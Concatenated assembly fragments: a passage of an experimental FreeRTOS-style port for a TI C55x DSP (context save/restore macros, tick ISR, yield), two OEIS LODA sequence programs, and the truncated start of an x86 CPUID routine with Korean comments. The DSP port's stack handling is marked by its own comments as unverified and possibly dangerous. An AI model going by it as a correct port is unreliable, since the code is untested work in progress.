mov dbl (*(#_usCriticalNesting)), xar7
mov xar7, dbl(*sp(#4))
mov mmap(ST1_55), ar7
mov ar7, *sp(#1)
mov mmap(ST2_55), ar7
mov ar7, *sp(#2)
mov ssp, ar7
mov mmap(ST0_55), ar6
mov ar6, *ar7(#2)
; mov dbl (*(#_save_xsp)), xsp ; restore xsp*
; mov dbl (*(#_save_xssp)), xssp
;;; mov dbl (*(_DBSTAT_SAVE)), *xar7(#2) ; needs to be DBSTAT - don't overwrite DBSTAT
;;; mov ar6, *ar7(#2)
; mov ar7, mmap(ST0_55)
; mov *ssp(#2), ar7
; fix up
; aadd #20, sp
; mov sp, t0
; sub #1, t0
; mov t0, ssp
; move contents of SP into address of current TCB
; mov xsp, dbl (*(#_pxCurrentTCB)) ; xsp contains our TCB now
; mov xar7, dbl (*(#_save_xar7)) ; save xar7
; mov dbl (*(#_pxCurrentTCB)), xar7
; mov dbl (*ar7), xsp ; xsp contains our TCB now
; mov dbl (*ar7), xsp ; xsp contains our TCB now
; mov dbl (*ar7+), xssp
; mov sp, t0 ; we've already saved t0
; add #1, t0
; mov t0, ssp
; ??
; mov xsp, dbl (*(#_pxCurrentTCB))
; movl xar6, @_pxCurrentTCB ; XAR6 contains current TCB addr
; mov al, @sp
; movl *xar6, acc
;; mov ar0, @sp
;; mov @ar6, alxd
;; mov ar0, @sp
;; movl 0(xar6), sp
; EDIS
; NASP
;; ;; mov dbl (*(#_save_xsp)), xsp ; restore xsp
; NOP
mov dbl (*(#_save_xsp)), xsp ; restore xsp*
mov dbl (*(#_save_xssp)), xssp ; restore xssp
nop
nop
nop
.endm
portRESTORE_CONTEXT .macro
.C54CM_off
; .CPL_off
.ARMS_off
.align 4
; Restore context & return
;CONTEXT_RESTORE
; ASP
; EALLOW
; nop
; nop
; nop
; nop
bclr C54CM
; xssp = dbl(*(#_pxCurrentTCB))
; xsp = dbl(*(#_pxCurrentTCB))
mov xar7, dbl (*(#_save_xar7))
aadd #-3, sp
; aadd #-3, xsp
; CMP *(#_first_flag) == #1, TC1 ; |216|
; BCC $1,TC1 ; |216|
mov dbl (*(#_save_xsp)), xsp ; restore xsp***
mov dbl (*(#_save_xssp)), xssp ; restore xssp***
; B $4
;;;;;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;;;;;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
; aadd #-3, sp
;$1
; mov dbl (*(#_first_save_xsp)), xsp ; restore xsp
; mov dbl (*(#_first_save_xssp)), xssp ; restore xssp
;$4
.if 1
mov xsp, xar7
mov xssp, xar6
amov #0x000000, xar2
amov #0x000000, xar1
mov dbl (*(#_pxCurrentTCB)), xar5
mov dbl (*ar5), xar4 ; xsp contains our TCB now
mov dbl (*ar5(#2)), xar3
mov *ar4, ar2
mov *ar3, ar1
; mov ar4, *ar6 ; stack pointers fixed up
mov ar2, *ar7
mov ar1, *ar6
mov mmap(ST1_55), ar7
and #0xf7ff, ar7 ; <here>#0800h
mov ar7, *sp(#1) ; need to make sure IRQ bit is enabled here
mov ar7, *ar4(#1) ; save in TCB
mov mmap(ST2_55), ar7
mov ar7, *sp(#2)
mov ar7, *ar4(#2)
mov ssp, ar7
mov mmap(ST0_55), ar6
mov ar6, *ar7(#2)
mov ar6, *ar3(#2)
.endif
; mov #0, ssp
; mov xar7, dbl (*(#_save_xar7)) ; save xar7
; mov dbl (*(#_pxCurrentTCB)), xar7
; 32-bit mode - will act on SP and SSP:
; 'fix-up' current SP and SSP - is this dangerous????
; aadd #-3, sp
;; mov *ar7, *sp
; mov dbl (*ar7), ar6
; mov ar6, *sp ; xsp contains our TCB now
; mov *ar7(#2), *ssp
; POP mmap(ST3_55)
; pshboth xar7 ; should increment both
.if 0
mov mmap(ST1_55), ar7
and #0xf7ff, ar7 ; <here>#0800h
mov ar7, *sp(#1) ; need to make sure IRQ bit is enabled here
mov mmap(ST2_55), ar7
mov ar7, *sp(#2)
mov ssp, ar7
mov mmap(ST0_55), ar6
mov ar6, *ar7(#2)
;; mov mmap(ST0_55), ar6 ; needs to be DBSTAT
;; mov ar6, *ar7(#1)
.endif
.if 0
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.endif
.if 0
mov dbl (*(_xCompareTCB)), xar6
; need to restore our return address
mov xar7, ac0
mov xar6, ac1
CMPU AC1 != AC0, TC1 ; |1393|
BCC $6,TC1 ; |1393|
amov #0x000000, xar7
amov #0x000000, xar6
mov *(#_save_new_pxcode), ar7
mov ar7, *sp(#0)
mov *(#_save_new_pxlcode) , ar7
mov ssp, ar6
mov ar7, *ar6(#0)
mov dbl (*(#_save_xar6)), xar6
.endif
$6:
;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
.if configUSE_CONTEXT_RESTORE_DEBUG == 1
mov xar7, dbl (*(#_save_xar7)) ; save xar7
mov xar6, dbl (*(#_save_xar6))
;; this is for debug
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_LOW_RESTORE)) ; save off the PC
mov xssp, xar7
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_HIGH_RESTORE)) ; save off the PC
mov xssp, xar7
add #-2, ar7
mov dbl(*ar7), xar6
mov xar6, dbl (*(_DBSTAT_RESTORE))
mov dbl (*(#_save_xar6)), xar6
mov dbl (*(#_save_xar7)), xar7 ; restore xar7
.endif
; mov mmap(ST0_55), *ssp(#1)
; mov mmap(STO_55), *ssp(#2)
; mov mmap(ST1_55), *sp(#1)
; mov mmap(ST2_55), *sp(#2) ; needs to be DBSTAT
; mov *ar7, t0
; mov t0, *sp(#0) ; xsp contains our TCB now
; mov *ar7(#2), t0
; mov t0, *ssp(#0)
; mov (*ar7), sp ; xsp contains our TCB now
; what about xssp?
; mov xar6, xsp
; mov xssp, xar7
; add #1, ar7
; mov xar7, xsp
; mov sp, t0
; mov ssp, t1
; mov dbl(*(#_pxCurrentTCB)), xsp
; ar0 = *ar6
; xssp = xar0
; mov *xar6, xar0
; mov xar0, xssp ; stack now points to our TCB
;; mov sp, *ar6
;; mov sp, ar0
;; mov sp, *_pxCurrentTCB
;; clr ar0
;; mov ar0, @xar6
;; mov sp, AR0
;; add sp, xar6
;; pshboth xar7
;; pshboth xar6
;; pshboth xar5
;; popboth xar5
;; popboth xar6
;; popboth xar7
;;; mov *sp(#1), ar7
; mov dbl(*sp(#1)), ar7
;;; mov ar7, mmap(ST1_55)
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.if 0
mov *sp(#2), ar7
mov ar7, mmap(ST2_55)
mov ssp, ar7
mov *ar7(#2), ar6
mov ar6, mmap(ST0_55)
.endif
; mov *ar7(#2), ar6
; mov ar6, *ssp(#2)
; mov *ssp(#2), ar7
; mov ar6, mmap(ST0_55) ; needs to be DBSTAT
mov dbl(*sp(#4)), xar7
; mov *sp(#1), ar7
mov xar7, dbl(*(#_usCriticalNesting))
mov dbl(*sp(#6)), xar6
; mov *sp(#3), ar6
; popboth xar6 ; portFLAGS_INT_ENABLED
mov xar6, dbl(*(#_portFLAGS_INT_ENABLED))
; POP XT
;-- Comment these to save cycles ---
mov dbl(*sp(#8)), xar7
mov *sp(#7), ar7
; mov *sp(#5), ar7
; mov dbl(*sp(#0)), hi(ar7)
; mov (*sp(#0)), lo(ar7)
mov dbl(*sp(#10)), xar6
mov *sp(#9), ar6
mov dbl(*sp(#12)), xar5
mov *sp(#11), ar5
;; pvPararmeters currently here - needs to be verified --- jcw
mov dbl(*sp(#14)), xar4
mov *sp(#13), ar4
mov dbl(*sp(#16)), xar3
mov *sp(#15), ar3
mov dbl(*sp(#18)), xar2
mov *sp(#17), ar2
mov dbl(*sp(#20)), xar1
mov *sp(#19), ar1
mov dbl(*sp(#22)), xar0
mov *sp(#21), ar0
mov *sp(#23), t3
mov *sp(#24), t2
mov *sp(#25), t1
mov *sp(#26), t0
; mov dbl(*sp(#21)), *xssp(#0)
; mov *sp(#21), *ssp
; mov *sp(#21), RETA
; need to move 23-16 to XSSP contents
; mov xar0, dbl (*(#_save_xar7))
; mov ssp, ar0
; mov #0, ssp
; mov xssp, xar0
; mov dbl (*(#_save_xsp)), xar0 ; save xsp
; aadd #20, sp ; this is ok - ssp also incremented
; add #1, xssp ; 32-bit return address pointer
; amar *xssp+
; mov sp, t0
; add #1, t0
; mov t0, ssp
; incr ssp
; asub #20, ar0
; mov xar0, xssp
; mov ar0, ssp
; mov ar0,
;; mov *sp(#1), t0
;; mov *sp(#3), t3 ; ST0
;; mov *sp(#4), t2 ; DBSTAT
;; mov t3, *ar0(#2)
;; mov t2, *ar0(#1)
;; mov t0, *ar0(#0)
;; mov *sp(#5), t0
;; mov *sp(#6), t1
;; mov *sp(#7), t2
;; mov *sp(#8), t3
; restore ar0
; mov dbl(*sp(#-2)), xar0
; mov #-1, ar0
;; mov dbl (*(#_save_xar7)), xar0
;;
;; mov sp, t0
;; add #1, t0
;; mov t0, ssp
; mov *sp(#3), *(#00004ch+#1)
; mov t3, *ssp(#1)
; mov t2, *ssp(#2)
;; mov *sp(#1), dbl(*(#_save_xsp))
;; mov t3, *(ssp(#0))
; mov t3, *ssp
; mov *sp(#3), t3 ;
; mov t3, *ssp(#1)
;; mov *sp(#21), PC
;; ;; mov dbl (*(#_save_xsp)), xsp ; restore xsp
; mov dbl(xsp), dbl(lcrpc)
; popboth XAR7
; add #1, sp
; add #1, ssp
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR6
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR5
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
;-----------------------------------
; popboth XAR4
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR3
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR2
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR1
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR0
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; EDIS
; NASP ; Un-align stack pointer
;; pop mmap(ST3_55)
; CMP *(#_first_flag) == #1, TC1 ; |216|
; BCC $2,TC1 ; |216|
.if 0
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.endif
mov dbl (*(#_save_xsp)), xsp ; restore xsp***
mov dbl (*(#_save_xssp)), xssp ; restore xssp***
.if 0
mov dbl (*(_xCompareTCB)), xar6
; need to restore our return address
mov xar7, ac0
mov xar6, ac1
CMPU AC1 != AC0, TC1 ; |1393|
BCC $6,TC1 ; |1393|
amov #0x000000, xar7
amov #0x000000, xar6
mov *(#_save_new_pxcode), ar7
mov ar7, *sp(#0)
mov *(#_save_new_pxlcode) , ar7
mov ssp, ar6
mov ar7, *ar6(#0)
mov dbl (*(#_save_xar6)), xar6
.endif
mov dbl (*(#_save_xar7)), xar7
; B $3
;$2
; MOV #0, *(#_first_flag) ; |217|
; mov dbl (*(#_first_save_xsp)), xsp ; restore xsp
; mov dbl (*(#_first_save_xssp)), xssp
;$3
; aadd #-3, sp
bclr INTM ; enable interrupts
; aadd #1, sp
RETI
; mov #1860h, ssp
nop
nop
; nop
.endm
portRESTORE_FIRST_CONTEXT .macro
.C54CM_off
; .CPL_off
.ARMS_off
.align 4
; Restore context & return
;CONTEXT_RESTORE
; ASP
; EALLOW
; nop
; nop
; nop
; nop
bclr C54CM
; xssp = dbl(*(#_pxCurrentTCB))
; xsp = dbl(*(#_pxCurrentTCB))
mov xar7, dbl (*(#_save_xar7))
aadd #-3, sp
; aadd #-3, xsp
; CMP *(#_first_flag) == #1, TC1 ; |216|
; BCC $1,TC1 ; |216|
mov dbl (*(#_save_xsp)), xsp ; restore xsp***
mov dbl (*(#_save_xssp)), xssp ; restore xssp***
; B $4
;;;;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;;;;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
; aadd #-3, sp
;$1
; mov dbl (*(#_first_save_xsp)), xsp ; restore xsp
; mov dbl (*(#_first_save_xssp)), xssp ; restore xssp
;$4
.if 1
mov xsp, xar7
mov xssp, xar6
amov #0x000000, xar2
amov #0x000000, xar1
mov dbl (*(#_pxCurrentTCB)), xar5
mov dbl (*ar5), xar4 ; xsp contains our TCB now
mov dbl (*ar5(#2)), xar3 ; xssp
mov *ar4, ar2
mov *ar3, ar1
; mov ar4, *ar6 ; stack pointers fixed up
mov ar2, *ar7
mov ar1, *ar6
mov mmap(ST1_55), ar7
and #0xf7ff, ar7 ; <here>#0800h
mov ar7, *sp(#1) ; need to make sure IRQ bit is enabled here
mov ar7, *ar4(#1) ; save in TCB
mov mmap(ST2_55), ar7
mov ar7, *sp(#2)
mov ar7, *ar4(#2)
mov ssp, ar7
mov mmap(ST0_55), ar6
mov ar6, *ar7(#2)
mov ar6, *ar3(#2)
.endif
; mov #0, ssp
; mov xar7, dbl (*(#_save_xar7)) ; save xar7
; mov dbl (*(#_pxCurrentTCB)), xar7
; 32-bit mode - will act on SP and SSP:
; 'fix-up' current SP and SSP - is this dangerous????
; aadd #-3, sp
;; mov *ar7, *sp
; mov dbl (*ar7), ar6
; mov ar6, *sp ; xsp contains our TCB now
; mov *ar7(#2), *ssp
; POP mmap(ST3_55)
; pshboth xar7 ; should increment both
.if 0
mov mmap(ST1_55), ar7
and #0xf7ff, ar7 ; <here>#0800h
mov ar7, *sp(#1) ; need to make sure IRQ bit is enabled here
mov mmap(ST2_55), ar7
mov ar7, *sp(#2)
mov ssp, ar7
mov mmap(ST0_55), ar6
mov ar6, *ar7(#2)
.endif
;; mov mmap(ST0_55), ar6 ; needs to be DBSTAT
;; mov ar6, *ar7(#1)
.if 0
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.endif
.if 0 ; first task - no pxcode update
mov dbl (*(_xCompareTCB)), xar6
; need to restore our return address
mov xar7, ac0
mov xar6, ac1
CMPU AC1 != AC0, TC1 ; |1393|
BCC $7,TC1 ; |1393|
amov #0x000000, xar7
amov #0x000000, xar6
mov *(#_save_new_pxcode), ar7
mov ar7, *sp(#0)
mov *(#_save_new_pxlcode) , ar7
mov ssp, ar6
mov ar7, *ar6(#0)
mov dbl (*(#_save_xar6)), xar6
.endif
$7:
;; mov xsp, dbl (*(#_save_xsp)) ; save xsp
;; mov xssp, dbl (*(#_save_xssp)) ; save xssp
.if configUSE_CONTEXT_RESTORE_DEBUG == 1
mov xar7, dbl (*(#_save_xar7)) ; save xar7
mov xar6, dbl (*(#_save_xar6))
;; this is for debug
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_LOW_RESTORE)) ; save off the PC
mov xssp, xar7
mov dbl(*ar7), xar6
mov dbl(*ar6), xar7
mov xar7, dbl (*(#_PC_REG_HIGH_RESTORE)) ; save off the PC
mov xssp, xar7
add #-2, ar7
mov dbl(*ar7), xar6
mov xar6, dbl (*(_DBSTAT_RESTORE))
mov dbl (*(#_save_xar6)), xar6
mov dbl (*(#_save_xar7)), xar7 ; restore xar7
.endif
; mov mmap(ST0_55), *ssp(#1)
; mov mmap(STO_55), *ssp(#2)
; mov mmap(ST1_55), *sp(#1)
; mov mmap(ST2_55), *sp(#2) ; needs to be DBSTAT
; mov *ar7, t0
; mov t0, *sp(#0) ; xsp contains our TCB now
; mov *ar7(#2), t0
; mov t0, *ssp(#0)
; mov (*ar7), sp ; xsp contains our TCB now
; what about xssp?
; mov xar6, xsp
; mov xssp, xar7
; add #1, ar7
; mov xar7, xsp
; mov sp, t0
; mov ssp, t1
; mov dbl(*(#_pxCurrentTCB)), xsp
; ar0 = *ar6
; xssp = xar0
; mov *xar6, xar0
; mov xar0, xssp ; stack now points to our TCB
;; mov sp, *ar6
;; mov sp, ar0
;; mov sp, *_pxCurrentTCB
;; clr ar0
;; mov ar0, @xar6
;; mov sp, AR0
;; add sp, xar6
;; pshboth xar7
;; pshboth xar6
;; pshboth xar5
;; popboth xar5
;; popboth xar6
;; popboth xar7
;;; mov *sp(#1), ar7
; mov dbl(*sp(#1)), ar7
;;; mov ar7, mmap(ST1_55)
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.if 0
mov *sp(#2), ar7
mov ar7, mmap(ST2_55)
mov ssp, ar7
mov *ar7(#2), ar6
mov ar6, mmap(ST0_55)
.endif
; mov *ar7(#2), ar6
; mov ar6, *ssp(#2)
; mov *ssp(#2), ar7
; mov ar6, mmap(ST0_55) ; needs to be DBSTAT
mov dbl(*sp(#4)), xar7
; mov *sp(#1), ar7
mov xar7, dbl(*(#_usCriticalNesting))
mov dbl(*sp(#6)), xar6
; mov *sp(#3), ar6
; popboth xar6 ; portFLAGS_INT_ENABLED
mov xar6, dbl(*(#_portFLAGS_INT_ENABLED))
; POP XT
;-- Comment these to save cycles ---
mov dbl(*sp(#8)), xar7
mov *sp(#7), ar7
; mov *sp(#5), ar7
; mov dbl(*sp(#0)), hi(ar7)
; mov (*sp(#0)), lo(ar7)
mov dbl(*sp(#10)), xar6
mov *sp(#9), ar6
mov dbl(*sp(#12)), xar5
mov *sp(#11), ar5
;; pvPararmeters currently here - needs to be verified --- jcw
mov dbl(*sp(#14)), xar4
mov *sp(#13), ar4
mov dbl(*sp(#16)), xar3
mov *sp(#15), ar3
mov dbl(*sp(#18)), xar2
mov *sp(#17), ar2
mov dbl(*sp(#20)), xar1
mov *sp(#19), ar1
mov dbl(*sp(#22)), xar0
mov *sp(#21), ar0
mov *sp(#23), t3
mov *sp(#24), t2
mov *sp(#25), t1
mov *sp(#26), t0
; mov dbl(*sp(#21)), *xssp(#0)
; mov *sp(#21), *ssp
; mov *sp(#21), RETA
; need to move 23-16 to XSSP contents
; mov xar0, dbl (*(#_save_xar7))
; mov ssp, ar0
; mov #0, ssp
; mov xssp, xar0
; mov dbl (*(#_save_xsp)), xar0 ; save xsp
; aadd #20, sp ; this is ok - ssp also incremented
; add #1, xssp ; 32-bit return address pointer
; amar *xssp+
; mov sp, t0
; add #1, t0
; mov t0, ssp
; incr ssp
; asub #20, ar0
; mov xar0, xssp
; mov ar0, ssp
; mov ar0,
;; mov *sp(#1), t0
;; mov *sp(#3), t3 ; ST0
;; mov *sp(#4), t2 ; DBSTAT
;; mov t3, *ar0(#2)
;; mov t2, *ar0(#1)
;; mov t0, *ar0(#0)
;; mov *sp(#5), t0
;; mov *sp(#6), t1
;; mov *sp(#7), t2
;; mov *sp(#8), t3
; restore ar0
; mov dbl(*sp(#-2)), xar0
; mov #-1, ar0
;; mov dbl (*(#_save_xar7)), xar0
;;
;; mov sp, t0
;; add #1, t0
;; mov t0, ssp
; mov *sp(#3), *(#00004ch+#1)
; mov t3, *ssp(#1)
; mov t2, *ssp(#2)
;; mov *sp(#1), dbl(*(#_save_xsp))
;; mov t3, *(ssp(#0))
; mov t3, *ssp
; mov *sp(#3), t3 ;
; mov t3, *ssp(#1)
;; mov *sp(#21), PC
;; ;; mov dbl (*(#_save_xsp)), xsp ; restore xsp
; mov dbl(xsp), dbl(lcrpc)
; popboth XAR7
; add #1, sp
; add #1, ssp
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR6
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR5
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
;-----------------------------------
; popboth XAR4
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR3
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR2
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR1
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; popboth XAR0
; add #2, t0
; add #2, t1
; mov t0, sp
; mov t1, ssp
; EDIS
; NASP ; Un-align stack pointer
;; pop mmap(ST3_55)
; CMP *(#_first_flag) == #1, TC1 ; |216|
; BCC $2,TC1 ; |216|
.if 0
mov dbl (*(#_pxCurrentTCB)), xar7
mov dbl (*ar7), xsp ; xsp contains our TCB now
mov dbl (*ar7(#2)), xssp
.endif
mov dbl (*(#_save_xsp)), xsp ; restore xsp***
mov dbl (*(#_save_xssp)), xssp ; restore xssp***
.if 0
mov dbl (*(_xCompareTCB)), xar6
; need to restore our return address
mov xar7, ac0
mov xar6, ac1
CMPU AC1 != AC0, TC1 ; |1393|
BCC $6,TC1 ; |1393|
amov #0x000000, xar7
amov #0x000000, xar6
mov *(#_save_new_pxcode), ar7
mov ar7, *sp(#0)
mov *(#_save_new_pxlcode) , ar7
mov ssp, ar6
mov ar7, *ar6(#0)
mov dbl (*(#_save_xar6)), xar6
.endif
mov dbl (*(#_save_xar7)), xar7
; B $3
;$2
; MOV #0, *(#_first_flag) ; |217|
; mov dbl (*(#_first_save_xsp)), xsp ; restore xsp
; mov dbl (*(#_first_save_xssp)), xssp
;$3
; aadd #-3, sp
bclr INTM ; enable interrupts
; aadd #1, sp
RETI
; mov #1860h, ssp
nop
nop
; nop
.endm
; /*-----------------------------------------------------------*/
; /*-----------------------------------------------------------*/
; /*
; * The RTOS tick ISR.
; *
; * If the cooperative scheduler is in use this simply increments the tick
; * count.
; *
; * If the preemptive scheduler is in use a context switch can also occur.
; */
_xPortStartScheduler:
; /* Setup the hardware to generate the tick. Interrupts are disabled
; when this function is called. */
aadd #-1, sp
call #_prvSetupTimerInterrupt
; /* Restore the context of the first task that is going to run. */
;; INTR INT14 ; force interrupt - just for debug purposes.
;; psh mmap(ST3_55)
mov xar7, dbl (*(#_save_xar7)) ; save xar7
mov xar6, dbl (*(#_save_xar6)) ; save xar6
mov dbl (*(#_pxCurrentTCB)), xar7
; does this *always* work?
mov dbl (*ar7), xar6
; mov xsp, dbl (*(#_first_save_xsp)) ; (init) xsp contains our TCB now
mov xsp, dbl (*(#_save_xsp)) ; (init) xsp contains our TCB now
; mov xar6, dbl (*(#_save_xsp))
mov dbl (*ar7+), xar6
; mov xssp, dbl (*(#_first_save_xssp))
mov xssp, dbl (*(#_save_xssp))
; mov #1, *(#_first_flag)
; what about xssp here?
mov dbl (*(#_save_xar7)), xar7 ; restore xar7
mov dbl (*(#_save_xar6)), xar6 ; restore xar6
aadd #1, sp
portRESTORE_FIRST_CONTEXT
_vTickISR: ; the timer ISR is aggregated for this processor architecture
; bclr IFR0.IF4 ; enable interrupts
aadd #-1, sp ;; in our current stack mode - this decrements both stack pointers - xsp and xssp
MOV #0, *port(#6166) ; |119|
AND #0x0010, mmap(@IFR0)
bset INTM
; MOV *port(#7188), AR1 ; |68| ;; TIMER0 is only timer that is active
; BSET @#0, AR1 ; |68|
; BCC $1,AR1 == #0 ; |68|
; AND #0x0010, *(#1)
; bset INTM ; disable interrupts
.if configUSE_TICK_CTR == 1
add #1, *(#_tickIRQctr)
.endif
;; psh mmap(ST3_55)
mov xar7, dbl (*(#_save_xar7)) ; save xar7
mov xar6, dbl (*(#_save_xar6)) ; save x
amov #0x000000, xar7
amov #0x000000, xar6
mov *sp(#1), ar7 ;; sp+3
mov ar7, *(#_save_new_pxcode)
mov ssp, ar6
mov *ar6(#1), ar7 ;; ssp+3
mov ar7, *(#_save_new_pxlcode) ; ==> now we have our new return address, and if a task, it's where we are
; nop
mov dbl (*(#_pxCurrentTCB)), xar7
mov xar7, dbl(*(#_xCompareTCB))
mov dbl (*(#_save_xar7)), xar7 ; restore xar7
mov dbl (*(#_save_xar6)), xar6 ; restore xar6
portSAVE_CONTEXT
call #_xTaskIncrementTick
.if configUSE_PREEMPTION == 1
; mov xsp, dbl (*(#_save_xsp)) ; save xsp
; mov xssp, dbl (*(#_save_xssp)) ; save xssp
call #_vTaskSwitchContext
.endif
;$1:
; bclr INTM
mov #1, *port(#6166) ; |127|
; MOV #0, *port(#6294) ; |92|
or #0x0001, *port(#7188) ; |130|
; OR #0x0007, *port(#7188) ; |100|
aadd #1, sp
portRESTORE_CONTEXT
; /*-----------------------------------------------------------*/
;/*
; * Manual context switch called by the portYIELD() macro.
; */
; We are using the slow return model:
; System Stack (SSP) Data Stack (SP)
; SSP = x - 3: (Loop Bits):PC(23-16) SP = y - 3: PC(15-0) <<= Last pushed - first to POP
; SSP = x - 2: DBSTAT SP = y - 2: ST1_55
; SSP = x - 1: ST0_55 SP = y - 1: ST2_55
; SSP = x: Previously saved data SP = y: Previously saved data
_vPortYield: ;; note - most testing done with preemptive kernel - so this could use review/work
aadd #-1, sp
AND #0x0010, mmap(@IFR0)
; /* Mimic an interrupt by pushing the SR. */
; /* SR is 16-bits in 430X architecture */
;; pushx.w SR
; /* Now the SR is stacked we can disable interrupts. */
; dint
bset INTM ; disable interrupts
;; bicx.w #0xF000,0(r1)
;; swpbx.w +4(r1)
;; rlax.w +4(r1)
;; rlax.w +4(r1)
;; rlax.w +4(r1)
;; rlax.w +4(r1)
;; addx.w +4(r1),0(r1)
;; movx.w +2(r1),+4(r1)
;; movx.w 0(r1),+2(r1)
;; incdx.a r1
; /* Save the context of the current task. */
;; psh mmap(ST3_55)
portSAVE_CONTEXT
; /* Switch to the highest priority task that is ready to run. */
call #_vTaskSwitchContext
mov #1, *port(#6166) ; |127|
or #0x0001, *port(#7188) ; |130|
aadd #1, sp
portRESTORE_CONTEXT
;;;
; /* Place the tick ISR in the correct vector. */
;;; .sect ".int49" ; TIMER1_A0_VECTOR
;; .sect ".int14" ; CPUTIMER2
; .sect ".text" ; CPUTIMER2
;;;; .sect ".INT14_ISR"
; .global _INT14_ISR
;;;; _INT14_ISR:
;;;; .short _vTickISR
;;;; LCR #_vTickISR
.end
; eof
|
; A277563: Fifth column of Euler's difference table in A068106.
; Submitted by Jon Maiga
; 0,0,0,24,96,504,3216,24024,205056,1965624,20886576,243511704,3089233056,42351635064,623815221456,9823096307544,164655323578176,2926840752827064,54988308080981616,1088680464831056664,22653422225916839136,494229434646381585144,11280809162286897977616,268848969990879903602904,6677991463026855646022016,172595614945479869126211384,4634401800769067421493980336,129098547764510857370240330904,3725984980624761624482584793376,111281028132230858544250967280504,3435306453463169558564076223042896
sub $0,2
mov $1,2
lpb $0
sub $0,1
add $1,$2
mov $3,$1
add $1,$2
mul $1,$0
mul $3,2
add $2,$3
lpe
mov $0,$2
mul $0,6
|
; A195818: Generalized 14-gonal numbers: m*(6*m-5), m = 0,+1,-1,+2,-2,+3,-3,...
; 0,1,11,14,34,39,69,76,116,125,175,186,246,259,329,344,424,441,531,550,650,671,781,804,924,949,1079,1106,1246,1275,1425,1456,1616,1649,1819,1854,2034,2071,2261,2300,2500,2541,2751,2794,3014,3059,3289,3336,3576,3625,3875,3926,4186,4239,4509,4564,4844,4901,5191,5250,5550,5611,5921,5984,6304,6369,6699,6766,7106,7175,7525,7596,7956,8029,8399,8474,8854,8931,9321,9400,9800,9881,10291,10374,10794,10879,11309,11396,11836,11925,12375,12466,12926,13019,13489,13584,14064,14161,14651,14750,15250,15351,15861,15964,16484,16589,17119,17226,17766,17875,18425,18536,19096,19209,19779,19894,20474,20591,21181,21300,21900,22021,22631,22754,23374,23499,24129,24256,24896,25025,25675,25806,26466,26599,27269,27404,28084,28221,28911,29050,29750,29891,30601,30744,31464,31609,32339,32486,33226,33375,34125,34276,35036,35189,35959,36114,36894,37051,37841,38000,38800,38961,39771,39934,40754,40919,41749,41916,42756,42925,43775,43946,44806,44979,45849,46024,46904,47081,47971,48150,49050,49231,50141,50324,51244,51429,52359,52546,53486,53675,54625,54816,55776,55969,56939,57134,58114,58311,59301,59500,60500,60701,61711,61914,62934,63139,64169,64376,65416,65625,66675,66886,67946,68159,69229,69444,70524,70741,71831,72050,73150,73371,74481,74704,75824,76049,77179,77406,78546,78775,79925,80156,81316,81549,82719,82954,84134,84371,85561,85800,87000,87241,88451,88694,89914,90159,91389,91636,92876,93125
add $0,1
mov $2,$0
lpb $0
sub $0,1
mov $3,$2
add $2,2
sub $3,1
mul $3,2
sub $3,$0
trn $0,1
add $1,$0
add $1,$3
lpe
|
[BITS 32]
global kReadCPUID, kSwitchAndExecute64bitKernel ; C에서 호출할 수 있도록 이름을 외부로 노출
SECTION .text
; CPUID 반환
; PARAM: DWORD dwEAX, DWORD *pdwEAX, *pdwEBX, *pdwECX, *pdwEDX
kReadCPUID:
push ebp ; 베이스 포인터 레지스터(EBP)를 스택에 삽입
mov ebp, esp ; 베이스 포인터 레지스터에 스택 포인터 레지스터(ESP)의 값을 설정
push eax ; 함수에서 임시로 사용하는 레지스터로 함수의 마지막 부분에서 스택에 삽입된 부분을 꺼내 원래 값으로 복원
push ebx
push ecx
push edx
push esi
; EAX 레지스터의 값으로 CPUID 명령어 실행
mov eax, dword [ ebp + 8 ] ; 파라미터 1[dwEAX]를 EAX 레지스터에 저장
cpuid ; CPUID 명령어 실행
; 반환된 값을 파라미터에 저장
; *pdwEAX
mov esi, dword [ ebp + 12 ] ; 파라미터 2(pdwEAX)를 ESI 레지스터에 저장
mov dword [ esi ], eax ; pdwEAX가 포인터이므로 포인터가 가리키는 어드레스에 EAX 레지스터의 값을 저장
; *pdwEBX
mov esi, dword [ ebp + 16 ] ; 파라미터 3(pdwEBX)를 ESI 레지스터에 저장
